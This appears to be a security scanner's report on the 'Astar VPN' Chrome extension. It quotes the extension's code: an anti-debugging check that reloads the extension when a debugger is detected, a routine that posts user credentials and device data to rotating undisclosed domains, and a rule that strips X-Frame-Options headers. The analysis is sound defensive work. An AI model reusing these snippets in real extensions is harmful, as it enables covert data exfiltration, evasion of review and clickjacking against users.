Security Alert: Critical Security Risk
Astar VPN - Free and fast VPN for everyone
ID: jajilbjjinjmgcibalaakngmkilboobh
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- https://astarvpn.com/index.htmlView Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
Astar VPN - Free and fast VPN for everyone
Astar VPN - Free and fast VPN for everyone, encrypt your connection, access our secure proxy servers and unblock websites easily. Astar VPN is a plug-and-play product that can be used immediately after installation. Click the "Connect" button to establish a secure and fast proxy tunnel between you and our VPN server. After the proxy is successfully enabled, the browser's WebRTC function will automatically stop; after the proxy is stopped, the browser's WebRTC function will also start. Global proxy and designated proxy functions. Global proxy: All requests go through the proxy, and support blacklist settings for domain names that do not go through the proxy. Designated proxy: Specify the domain name to go through the proxy. Ad Blocker: Block ads, disable trackers, and prevent your data from being collected.
The extension uses an anti-debugging technique: it calls debugger and measures the elapsed time. If the debugger is active, the delay exceeds 100ms, and the extension reloads to avoid analysis. This is a common tactic in malicious code to hinder reverse engineering.
checkSafe() { let l = performance.now(); debugger; performance.now() - l > 100 && chrome.runtime.reload()}The extension sends personal data (login ID, hashed password, device UUID, OS, browser, etc.) to dynamic remote domains (iosedge.com, cloudpleace.com, allinkstous.com) that are not disclosed in the CWS privacy policy. The listing states 'none declared' for data collection, which is false.
async bgPost(l, a) { try { let e = await n.storage.get("chrome_ext_lang"); const t = await n.storage.get("os"), v = await n.storage.get("browser"); let p = e == "en" ? "en_US" : "zh_CN"; a.lang = p, a.os = t, a.browser = v; const w = await this.fetchWithRetry(await this.getHttpDomain(l), { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" }, body: this.toParams(a), timeout: 1e4, retries: 1 }); return w.status !== 200 ? { nCode: -99 } : await w.json() } catch (e) { ... }}async getHttpDomain(l) { const a = { one: "iosedge.com/astarnew", two: "cloudpleace.com/astarnew", three: "allinkstous.com/astarnew" }; let e = "", t = await n.storage.get("serverLine"), v = a[t]; if (v) v.indexOf("ip") == 0 ? e = v : e = "." + v; else { let B = await n.storage.get("xLine"); B ? e = B.split(",")[Number(t)] + "/astarnew" : e = "." + a.one } let p = "", w = new Date, g = "b" + w.getFullYear() + (w.getMonth() + 1) + w.getDate() + w.getHours() + "re"; return e.indexOf("ip") == 0 ? e.indexOf("ips") == 0 ? p = "https://" + e.substring(3) : p = "http://" + e.substring(2) : p = "https://" + g + e, p + l}Removes X-Frame-Options and Frame-Options headers for connect.freevpnplanet.com, a domain not listed in the publisher's privacy policy. This could enable clickjacking attacks on that domain.
[ { "id": 1, "priority": 1, "action": { "type": "modifyHeaders", "responseHeaders": [ { "header": "X-Frame-Options", "operation": "remove" }, { "header": "Frame-Options", "operation": "remove" } ] }, "condition": { "urlFilter": "*://connect.freevpnplanet.com/*", "resourceTypes": [ "sub_frame" ] } }]By severity
Versions scanned
Showing 1 of 30 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.3.8 | 3 |
Files with findings
2 distinct paths — top paths by unique finding count:
- assets/index.ts-92abda20.js2
- data/responseHeaders.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.